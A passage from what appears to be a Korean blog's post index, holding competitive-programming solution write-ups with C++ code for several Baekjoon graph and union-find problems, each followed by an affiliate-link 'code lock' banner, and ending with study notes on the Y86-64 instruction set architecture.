실행 가능한 임계값이 없으면 -1을 출력합니다.\n🧐 관찰 및 접근 가중치 기준으로 왼/오 두 그룹으로 나눴을때, 분리집합의 수가 맞아야한다! 단조성이 있다면 매개변수 탐색으로.. 정점 수 자체는 단조성이 있지만, 분리집합의 수가 단조성이 없다. 전체를 선형으로 하기 위해선, 잘 롤백하면서 하면 되지 않을까? 이제 묶는것 자체는 끝났는데, 어떨 때 연결 할 수 있을까? 트리를 생각해보자. 노드 $N$개를 연결하기 위해선 간선이 최소 $N-1$개 필요하다. 우리 상황에서도 간선을 $N-1$개 이상 연결해야하고, $A, B$ 그룹 각각에서 연결 할 수 있는 간선의 수는 $\\text{min}(A, B)$이다. 따라서 $C_A + C_B - 1 \\leq \\text{min}(A, B)$라면 하나로 연결할 수 있다. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, N) cin \u0026gt;\u0026gt; W[i]; rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; if(W[u] \u0026gt; W[v]) swap(u, v); // now W[u] \u0026lt;= W[v] links[v].push_back(u); links2[u].push_back(v); } // compress vector\u0026lt;int\u0026gt; ws; rep(i, 0, N) ws.push_back(W[i]); sort(all(ws)); ws.erase(unique(all(ws)), ws.end()); vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; nodes(ws.size()); rep(i, 0, N){ int idx = lower_bound(all(ws), W[i]) - ws.begin(); nodes[idx].push_back(i); } vector\u0026lt;int\u0026gt; pfsum(ws.size(), 0); pfsum[0] = (int)nodes[0].size(); rep(i, 1, ws.size()) pfsum[i] = pfsum[i-1] + (int)nodes[i].size(); if(ws.size() == 1){ cout \u0026lt;\u0026lt; -1; return; } UnionFind UF1(N), UF2(N); rrep(idx, ws.size(), 0){ for(auto u: nodes[idx]) for(auto v: links2[u]) UF2.merge(u, v); } rep(idx, 0, ws.size()-1){ for(auto u: nodes[idx]) for(auto v: links[u]) UF1.merge(u, v); for(auto u: nodes[idx]) UF2.rollback((int)links2[u].size()); if(((pfsum[idx] - UF1.connected) + (N - pfsum[idx] - UF2.connected)) - 1 \u0026lt;= min(pfsum[idx], N - pfsum[idx])){ cout \u0026lt;\u0026lt; ws[idx]; return; } } cout \u0026lt;\u0026lt; -1; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-02T00:00:00Z","permalink":"/posts/algorithm/ps/260202_algorithm_boj-21932-to-be-connected-or-not-to-be-that-is-the-question/","title":"BOJ 21932 To be Connected, or not to be, that is the Question"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/3830 🧐 관찰 및 접근 두 값의 차이를 트리 형태로 저장한다고 생각하자. 간선에 가중치가 있는 트리가 될 것이다. 두 값 $a, b$가 같은 트리에 있다면 비교 가능하고, 그렇지 않다면 비교 불가능하다. 하지만 이 경우 트리가 직선형이 되면, 최악의 경우 $O(N)$이 걸린다. 우리는 이러한 경우에 UnionFind에서 경로 압축을 하는 방법을 배웠다. 결국 루트까지의 간선 가중치 합을 저장해서 이용하면 된다. 💻 풀이 코드 (C++): void solve(){ while(1){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; if(N + M == 0) break; UnionFind uf(N); while(M--){ char op; cin \u0026gt;\u0026gt; op; if(op == \u0026#39;!\u0026#39;){ int a, b, w; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b \u0026gt;\u0026gt; w; uf.merge(a-1, b-1, w); } else{ int a, b; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; auto [ra, wa] = uf.find(a-1); auto [rb, wb] = uf.find(b-1); if(ra != rb) cout \u0026lt;\u0026lt; \u0026#34;UNKNOWN\\n\u0026#34;; else cout \u0026lt;\u0026lt; wb - wa \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-02T00:00:00Z","permalink":"/posts/algorithm/ps/260202_algorithm_boj-3830-%EA%B5%90%EC%88%98%EB%8B%98%EC%9D%80-%EA%B8%B0%EB%8B%A4%EB%A6%AC%EC%A7%80-%EC%95%8A%EB%8A%94%EB%8B%A4/","title":"BOJ 3830 교수님은 기다리지 않는다"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/9938 🧐 관찰 및 접근 더 자세히 생각해보면, $(1, 2), (3, 4), (2, 3)$의 술병이 있는 경우, $1, 2, 3, 4$ 4개의 서랍중 3개의 서랍에 술이 들어갈 수 있다는 것을 알 수 있다. $A_i, B_i$를 보면서 분리 집합으로 묶어버린 뒤, 그 집합의 크기에 여유가 있다면 술병을 정리할 수 있다. 💻 풀이 코드 (C++): void solve(){ int N, L; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; L; UnionFind UF(L); rep(i, 0, N){ int a, b; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; a--; b--; UF.merge(a, b); if(UF.val[UF.find(a)] \u0026lt; UF.cnt[UF.find(a)]){ cout \u0026lt;\u0026lt; \u0026#34;LADICA\\n\u0026#34;; UF.add(a, 1); } else{ cout \u0026lt;\u0026lt; \u0026#34;SMECE\\n\u0026#34;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-02T00:00:00Z","permalink":"/posts/algorithm/ps/260202_algorithm_boj-9938-%EB%B0%A9-%EC%B2%AD%EC%86%8C/","title":"BOJ 9938 방 청소"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2463 🧐 관찰 및 접근 간선에 가중치가 주어진 무향 그래프가 있다. 모든 간선의 가중치는 서로 다르다. $u$와 $v$사이의 최소 가중치 간선을 그래프에서 계속 제거해나가면서 $\\text{Cost}(u, v)$를 구한다. $u, v$사이의 경로는 최대 가중치 간선만 남아있다. MST를 최댓값으로 하면 된다! 최댓값부터 MST를 진행하면서, 간선이 연결될때 양쪽 그룹의 크기의 곱만큼의 $\\text{Cost}$ 관계를 계산하면서 구현할 수 있어보인다. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;array\u0026lt;int, 3\u0026gt;\u0026gt; edges; mint sum = 0; rep(i, 0, M){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; edges.push_back({w, u, v}); sum += w; } sort(all(edges), greater\u0026lt;array\u0026lt;int, 3\u0026gt;\u0026gt;()); UnionFind UF(N+1); mint ans = 0; for(auto [w, u, v]: edges){ if(UF.find(u) != UF.find(v)){ ans += sum * UF.cnt[UF.find(u)] * UF.cnt[UF.find(v)]; UF.merge(u, v); } sum -= w; } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-31T00:00:00Z","permalink":"/posts/algorithm/ps/260131_algorithm_boj-2463-%EB%B9%84%EC%9A%A9/","title":"BOJ 2463 비용"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/25567 🧐 관찰 및 접근 구간합?을 하려면 결국 완성된 배열이 있으면 좋을거같은데.. 근데 줄이 다를때만 합치니까, 결국 완성된 줄은 고정적으로 존재한다! 오프라인으로 잘 돌면서 처리하면 되는거같다. 줄의 맨앞과 맨뒤가 어딘지 잘 관리하고, 모든 줄이 합쳐지지는 않을 수 있으니 이를 주의하자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; int sz = 0; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; lines; rep(i, 0, N){ int cnt; cin \u0026gt;\u0026gt; cnt; vector\u0026lt;int\u0026gt; line(cnt); rep(j, 0, cnt) cin \u0026gt;\u0026gt; line[j]; lines.push_back(line); sz += cnt; } vector\u0026lt;array\u0026lt;int, 3\u0026gt;\u0026gt; Queries; // {query, a, b} int Q; cin \u0026gt;\u0026gt; Q; rep(i, 0, Q){ int op, a, b; cin \u0026gt;\u0026gt; op \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; Queries.push_back({op, a, b}); } // lineId[x] = i : x번 사람이 i번째 줄에 속함 vector\u0026lt;int\u0026gt; lineId(sz+1); rep(i, 0, N) for(auto x: lines[i]) lineId[x] = i; UnionFind UF(N), UFrev(N); vector\u0026lt;int\u0026gt; nxt(N, -1); for(auto [op, a, b]: Queries){ if(op == 2) continue; int lineA = lineId[a]; int lineB = lineId[b]; if(UF.find(lineA) != UF.find(lineB)){ // lineA 뒤에 lineB 붙이기 int tailA = UFrev.find(lineA); int headB = UF.find(lineB); nxt[tailA] = headB; UF.merge(lineA, lineB); UFrev.merge(lineB, lineA); } } vector\u0026lt;int\u0026gt; mergedLineId(sz+1); vector\u0026lt;int\u0026gt; mergedLineIdx(sz+1); vector\u0026lt;vector\u0026lt;ll\u0026gt;\u0026gt; pfsum(N); rep(i, 0, N) if(UF.find(i) == i){ vector\u0026lt;int\u0026gt; order; int cur = i; while(cur != -1){ for(auto x: lines[cur]) order.push_back(x); cur = nxt[cur]; } for(int j = 0; j \u0026lt; (int)order.size(); j++){ mergedLineId[order[j]] = i; mergedLineIdx[order[j]] = j; } pfsum[i].resize(order.size()+1); rep(j, 0, order.size()) pfsum[i][j+1] = pfsum[i][j] + order[j]; } // 쿼리 처리 UnionFind UF2(N); for(auto [op, a, b]: Queries){ int lineA = lineId[a]; int lineB = lineId[b]; if(op == 1){ if(UF2.merge(lineA, lineB)) cout \u0026lt;\u0026lt; \u0026#34;YES\\n\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;NO\\n\u0026#34;; } else{ if(UF2.find(lineA) != UF2.find(lineB)){ cout \u0026lt;\u0026lt; \u0026#34;-1\\n\u0026#34;; continue; } int mergedLine = mergedLineId[a]; int idxA = mergedLineIdx[a]; int idxB = mergedLineIdx[b]; if(idxA \u0026gt; idxB) swap(idxA, idxB); cout \u0026lt;\u0026lt; pfsum[mergedLine][idxB+1] - pfsum[mergedLine][idxA] \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-30T00:00:00Z","permalink":"/posts/algorithm/ps/260130_algorithm_boj-25567-%EC%A4%84-%EC%84%B8%EC%9A%B0%EA%B8%B0/","title":"BOJ 25567 줄 세우기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2887 🧐 관찰 및 접근 누가봐도 MST를 짜야하는거같은데.. 행성 두개에 대해 모두 생각하면 간선의 개수가 $N^2$개가 된다\u0026hellip; 그런데, 생각해보면 만약 행성 $A, B, C$가 있고, 세개 모두 $x$를 기준으로 연결했다고 하자. $x_A \u003c x_B \u003c x_C$라면, $x_A$와 $x_C$의 관계를 신경 쓸 필요가 있을까? 없다!! 따라서, $x, y, z$ 각각에 대해 정렬한 간선 $3N$개정도를 이용해서 MST를 짜자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;array\u0026lt;ll, 4\u0026gt;\u0026gt; planets; rep(i, 0, N){ int x, y, z; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y \u0026gt;\u0026gt; z; planets.push_back({x, y, z, i}); } vector\u0026lt;array\u0026lt;ll, 3\u0026gt;\u0026gt; edges; sort(all(planets), [](auto \u0026amp;a, auto \u0026amp;b){ return a[0] \u0026lt; b[0]; }); rep(i, 0, N-1) edges.push_back({abs(planets[i][0]-planets[i+1][0]), planets[i][3], planets[i+1][3]}); sort(all(planets), [](auto \u0026amp;a, auto \u0026amp;b){ return a[1] \u0026lt; b[1]; }); rep(i, 0, N-1) edges.push_back({abs(planets[i][1]-planets[i+1][1]), planets[i][3], planets[i+1][3]}); sort(all(planets), [](auto \u0026amp;a, auto \u0026amp;b){ return a[2] \u0026lt; b[2]; }); rep(i, 0, N-1) edges.push_back({abs(planets[i][2]-planets[i+1][2]), planets[i][3], planets[i+1][3]}); sort(all(edges)); UF.init(N); ll ans = 0; for(auto [w, u, v]: edges) if(UF.merge(u, v)) ans += w; cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-30T00:00:00Z","permalink":"/posts/algorithm/ps/260130_algorithm_boj-2887-%ED%96%89%EC%84%B1-%ED%84%B0%EB%84%90/","title":"BOJ 2887 행성 터널"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/4792 🧐 관찰 및 접근 파란색 간선을 $k$개, 빨간색 간선을 $(N-1) - k$개 이용해서 MST를 짜야하는데.. 일단 파란색 간선 $k$개를 결정하면 빨간색은 그냥 유파를 다해버리면 되니까, 파란색 간선을 잘 고르는게 중요하다. 나이브하게 한다면 $\\binom{\\binom{N}{2}}{k}$인가? 간선 개수는 그렇다 쳐도, $k$개를 고르는게 너무 큰디\u0026hellip; 작은 문제부터 차근히 풀어보자. $k = 0$ 이라면 모든 간선들로 스패닝트리가 만들어지는지 확인하는 문제로 바뀐다. $k = 1$ 위와 같은 그래프가 있었다고 생각하자. 파란 간선 1개를 $1 - 2$ 같은걸 골라버리면 불가능해지는 문제가 생긴다. 잘 골라야 한다. 음.. 빨간색으로 미리 다 합쳐놓고, 나머지를 연결할 개수 이상의 파란간선은 필요한거 같은데.. 그런데, 이미 MST가 잘 있다면, 빨간 간선을 파란 간선으로 대체하는게 꽤 자유로운가? 이것만 되면 큰 문제가 없는데? $k \u003e 1$ 주황색이 이미 만들어진 MST, 나머지를 남은 간선이라고 하자. 어떤 파란색 간선을 하나 쓰고싶으면, 두 정점으로 가는 경로에 있는 빨간색을 끊어버리고 파란색으로 새로 연결하면 된다! 이게 안되는 경우는 이미 그 두 정점으로 가는 경로가 다 파란색 간선만으로 연결된 경우인데.. 아하, 분리집합을 하나 더 관리하는걸로 쉽게 풀 수 있는 것 같다. 💻 풀이 코드 (C++): void solve(){ while(1){ int N, M, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; if(N + M + K == 0) break; vector\u0026lt;pii\u0026gt; Redges, Bedges; rep(i, 0, M){ char color; cin \u0026gt;\u0026gt; color; int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; if(color == \u0026#39;R\u0026#39;) Redges.push_back({u, v}); else Bedges.push_back({u, v}); } UnionFind UF(N), BUF(N); // 일단 파란색 간선을 최소로 쓸때 되는지 확인 int cnt = 0; for(auto [u, v]: Redges) UF.merge(u, v); for(auto [u, v]: Bedges) if(UF.merge(u, v)){ cnt++; BUF.merge(u, v); } if(cnt \u0026gt; K){ cout \u0026lt;\u0026lt; 0 \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; continue; } // 빨간 간선을 하나하나 파란색으로 바꾸기 for(auto [u, v]: Bedges) if(BUF.merge(u, v)) cnt++; if(cnt \u0026lt; K){ cout \u0026lt;\u0026lt; 0 \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; continue; } cout \u0026lt;\u0026lt; 1 \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-30T00:00:00Z","permalink":"/posts/algorithm/ps/260130_algorithm_boj-4792-%EB%A0%88%EB%93%9C-%EB%B8%94%EB%A3%A8-%EC%8A%A4%ED%8C%A8%EB%8B%9D-%ED%8A%B8%EB%A6%AC/","title":"BOJ 4792 레드 블루 스패닝 트리"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1043 🧐 관찰 및 접근 지민이는 모든 파티에 참여해야하므로, 진실을 아는 사람이 있는 파티의 모든 사람은 진실을 알게 된다. 모든 파티에 대해 진실을 알게 된 사람을 확인한 후, 진실을 아는사람이 없는 파티들의 수를 세면 된다. 유니온 파인드, 분리 집합으로 해결하자. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; parties; UnionFind UF(N+1); // 0은 진실을 아는 사람 int cnt; cin \u0026gt;\u0026gt; cnt; rep(i, 0, cnt){ int a; cin \u0026gt;\u0026gt; a; UF.merge(0, a); } rep(i, 0, M){ cin \u0026gt;\u0026gt; cnt; vector\u0026lt;int\u0026gt; party(cnt); rep(j, 0, cnt) cin \u0026gt;\u0026gt; party[j]; parties.push_back(party); rep(j, 0, cnt-1) UF.merge(party[j], party[j+1]); } int ans = 0; for(auto party: parties){ bool flag = true; for(auto p: party) if(UF.find(p) == 0) flag = false; if(flag) ans++; } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-29T00:00:00Z","permalink":"/posts/algorithm/ps/260129_algorithm_boj-1043-%EA%B1%B0%EC%A7%93%EB%A7%90/","title":"BOJ 1043 거짓말"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/10775 🧐 관찰 및 접근 1번 게이트가 제일 쓰기 좋아보인다. 그러므로 1번 게이트를 아낀다고 생각하면, 모든 비행기를 도킹시킬때 갈 수 있는 최댓값으로 도킹시키면 되는 것 같다. 이를 나이브하게 구현하면 한번당 $O(G)$가 걸릴 것이다. 100000 100000 100000 100000 100000 ... 과 같은 테스트케이스를 생각해보면 된다. 따라서 $\\text{calc}(g_i) = g_i$ 보다 작거나 같은 살아있는 게이트의 최댓값을 빠르게 찾으면 된다. 이는 유니온파인드로 빠르게 수행 가능하다! merge할때 자신보다 작은 값을 가리키게 하자. 💻 풀이 코드 (C++): void solve(){ int G, P; cin \u0026gt;\u0026gt; G \u0026gt;\u0026gt; P; UF.init(G+1); int ans = 0; while(P--){ int g; cin \u0026gt;\u0026gt; g; int rt = UF.find(g); if(rt == 0) break; UF.merge(rt, rt-1); ans++; } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-29T00:00:00Z","permalink":"/posts/algorithm/ps/260129_algorithm_boj-10775-%EA%B3%B5%ED%95%AD/","title":"BOJ 10775 공항"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1647 🧐 관찰 및 접근 집 (정점)과 길 (간선)이 있다. 마을 두개로 분리해야한다. 이 때, 간선의 가중치의 합을 최소화해야한다. 이미 두 집이 한 마을 안에 있다면, 둘이 연결할 필요가 없다. 이미 다른 우회로로 갈 수 있기 때문 연결하던 도중 마을이 두개가 남았다면 끝내면 된다. 크루스칼 알고리즘으로 덩어리가 두개가 남을때까지 반복하면 되겠다. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;tuple\u0026lt;int, int, int\u0026gt;\u0026gt; edges; // weight, u, v rep(i, 0, M){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; edges.emplace_back(w, u, v); } UF.init(N+1); sort(all(edges)); int ans = 0; for(auto \u0026amp;[w, u, v]: edges){ if(UF.group == 3) break; if(UF.merge(u, v)) ans += w; } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-29T00:00:00Z","permalink":"/posts/algorithm/ps/260129_algorithm_boj-1647-%EB%8F%84%EC%8B%9C-%EB%B6%84%ED%95%A0-%EA%B3%84%ED%9A%8D/","title":"BOJ 1647 도시 분할 계획"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1734 🧐 관찰 및 접근 무향 그래프 $G = (V, E)$가 주어진다.\n여기서 두가지 쿼리가 주어진다.\n간선 $e \\in E$ 하나를 없앴을 때, 정점 $A, B$의 연결성 판정 정점 $v \\in V$ 하나를 없앴을 때, 정점 $A, B$의 연결성 판정 각각 살펴보자. 먼저, 문제조건에 의해 컴포넌트는 하나이므로 A, B는 기본적으로 연결되어있다고 판단하자.\n간선 $e$를 없애는 경우\n간선 $e$가 단절선이 아니라면, $A, B$의 연결성은 유지된다. 간선 $e$가 단절선이라면, $A, B$가 서로 다른 분리된 컴포넌트에 있을 때 분리된다. 위와 같이 DFS트리로 그래프를 해석해보자. 검은 간선은 tree edge 초록색 간선은 back edge 빨간색 간선은 자를 간선이다. 자를 간선이 단절선이라면, 잘라진 컴포넌트는 해당 단절선의 자식의 서브트리와 그 나머지 트리로 분리된다. 따라서, $A, B$ 모두가 서브트리 안에 있거나 서브트리 밖에 있다면 no, 그렇지 않다면 yes를 출력하면 된다. 이는 ETT로 계산하자. 정점 $v$를 없애는 경우\n정점 $v$가 단절점이 아니라면 $A, B$의 연결성은 유지된다. 정점 $v$가 단절점이라면, $A, B$가 서로 다른 분리된 컴포넌트에 있을 때 분리된다. 위처럼 DFS Tree로 해석할때, 이번에는 컴포넌트가 두개가 아닌 여러개로 분리될 수 있다. LCA처럼 binary lifting을 통해 $A, B$를 $C$의 자식 노드중 가장 높은곳으로 끌어올려보고, $G$의 $low$값을 비교해보자. 예제 입력 1의 DFS Tree 💻 풀이 코드 (C++): void solve(){ int N, E; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; E; UndirectedGraph G(N); rep(i, 0, E){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; G.add_edge(u, v); } G.dfs(); rep(i, 0, N) rep(j, 0, 20) par[i][j] = -1; rep(i, 0, N) par[i][0] = G.par[i]; rep(j, 1, 20) rep(i, 0, N) if(par[i][j-1] != -1) par[i][j] = par[par[i][j-1]][j-1]; int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int op; cin \u0026gt;\u0026gt; op; if(op == 1){ int A, B, G1, G2; cin \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B \u0026gt;\u0026gt; G1 \u0026gt;\u0026gt; G2; A--; B--; G1--; G2--; if(G.depth[G1] \u0026gt; G.depth[G2]) swap(G1, G2); if(!G.isBridge[G2] || G.par[G2] != G1){ cout \u0026lt;\u0026lt; \u0026#34;yes\\n\u0026#34;; continue; } bool AinTree = (G.discoverTime[G2] \u0026lt;= G.discoverTime[A] \u0026amp;\u0026amp; G.discoverTime[A] \u0026lt;= G.ettOut[G2]); bool BinTree = (G.discoverTime[G2] \u0026lt;= G.discoverTime[B] \u0026amp;\u0026amp; G.discoverTime[B] \u0026lt;= G.ettOut[G2]); if(AinTree ^ BinTree) cout \u0026lt;\u0026lt; \u0026#34;no\\n\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;yes\\n\u0026#34;; } else{ int A, B, C; cin \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B \u0026gt;\u0026gt; C; A--; B--; C--; if(!G.isArticulation[C]){ cout \u0026lt;\u0026lt; \u0026#34;yes\\n\u0026#34;; continue; } int Aid = get_low(C, A, G); int Bid = get_low(C, B, G); if(Aid == Bid) cout \u0026lt;\u0026lt; \u0026#34;yes\\n\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;no\\n\u0026#34;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-29T00:00:00Z","permalink":"/posts/algorithm/ps/260129_algorithm_boj-1734-%EA%B5%90%ED%86%B5-%EC%B2%B4%EA%B3%84/","title":"BOJ 1734 교통 체계"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/4195 🧐 관찰 및 접근 누가 봐도 유니온파인드 스타일이다. 문자열을 그대로 유니온 파인드에 넣긴 곤란하니, map 혹은 dict를 이용하자. 유니온 파인드를 구현할 때, 합을 잘 구해줘야한다. 분리 집합을 포레스트 모양이라고 생각할때, 각 트리의 루트노드에서 트리의 크기를 관리할 수 있도록 하면 쉽게 구현할 수 있다. 💻 풀이 코드 (C++): void solve(){ int Q; cin \u0026gt;\u0026gt; Q; UF.init(Q*2); map\u0026lt;string, int\u0026gt; mp; while(Q--){ string A, B; cin \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B; int a, b; if(mp.find(A) == mp.end()) mp[A] = mp.size(); if(mp.find(B) == mp.end()) mp[B] = mp.size(); a = mp[A]; b = mp[B]; UF.merge(a, b); cout \u0026lt;\u0026lt; UF.cnt[UF.find(a)] \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-29T00:00:00Z","permalink":"/posts/algorithm/ps/260129_algorithm_boj-4195-%EC%B9%9C%EA%B5%AC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC/","title":"BOJ 4195 친구 네트워크"},{"content":"📝 상세 정리 ISA를 정의하는 것은 컴포넌트들, 명령어들, 인코딩, 프로그래밍 컨벤션 세트 등을 정의하는 것을 포함한다. 4.1.1 Programmer-Visible State Y86-64 프로그램의 각 명령어는 프로세서 상태의 일부를 판독하고 수정할 수 있다. 이를 프로그래머 가시화 (programmer-visible) 상태라고 한다. programmer은 어셈블리 코드에서 프로그램을 작성하는 사람 혹은 컴파일러를 의미함 Y86-64의 레지스터는 x86-64와 비슷하게 %rax %rbx\u0026hellip; %r14까지 있다. 각 레지스터는 64비트 word를 저장하고, %rsp는 스택 포인터로 사용되고\u0026hellip; 정보 조건 코드는 ZF, SF, OF 3가지가 존재한다. PC (Program Counter)은 현재 실행중인 명령어의 주소를 보유한다. 메모리는 프로그램과 데이터를 모두 유지한다. 가상 주소를 사용하여 참조 메모리 위치를 프로그램할 것 4.1.2 Y86-64 Instructions 우리가 만들 Y86-64 ISA는 x86-64의 서브셋이다. 8바이트 정수 연산만을 포함 더 적은 어드레싱 모드 더 작은 연산 세트 8바이트만 하니까, 그냥 word라고 불러도 된다! movq는 ir, rr, mr, rm movq 4가지가 있다. i는 immediate값, r은 레지스터, m은 메모리 정수연산은 addq, subq, andq, xorq 4가지로, 레지스터 데이터에만 동작하도록 할 것이다. 물론 ZF, SF, OF도 설정해야한다. 점프 명령어는 jmp, jle, jl, je, jne, jge, jg 7가지가 있다. 조건부 이동에는 cmovle, cmovl, cmove, cmovne, cmovge, cmovg 6가지가 있다. call은 스택에 return address를 push하고 jump한다. pushq, popq도 물론 있다. hlt이 나오면 상태코드가 HLT로 설정된 상태에서 프로세서가 정지된다. 4.1.3. Insturction Encoding 각 instuction에는 어떤 필드가 필요한지에 따라 1~10바이트가 필요하다. 모든 insturction은 유형을 식별하는 초기 바이트가 있는데, 여기서 위의 4비트는 코드부분, 아래 4비트는 함수 부분이다. 코드부분은 0 ~ 0xB 까지의 범위를 가진다. 함수부분은 관련 instuction이 같은 코드부분을 공유할 때만 유의하다. (OPq 등) jmp는 0x70이어야하는것처럼. 뒤의 1바이트는 레지스터 식별자이다. x86-64와 일치하게 하겠다. 뒤의 8바이트는 상수 word 영역이다. 일부 명령어는 길이가 1바이트뿐이 안되지만 피연산자가 필요하거나 상수파트가 필요하거나 하면 커진다. x86-64와 마찬가지로 다 Little Endian이다!! 예를 들어 rmmovq %rsp, 0x123456789abcd(%rdx)는 rmmovq -\u0026gt; 40, %rsp %rdx -\u0026gt; 42, 상수는 리틀엔디안 처리되어 40 42 cd ab 89 67 45 23 01 00 으로 인코딩될 것이다. 4.1.4 Y86-64 Exceptions 실행 프로그램의 전체 상태를 나타내는 상태 코드도 있다. 모두 정상인 AOK halt를 만난 HLT 잘못된 주소를 만난 ADR 잘못된 instruction을 만난 INS 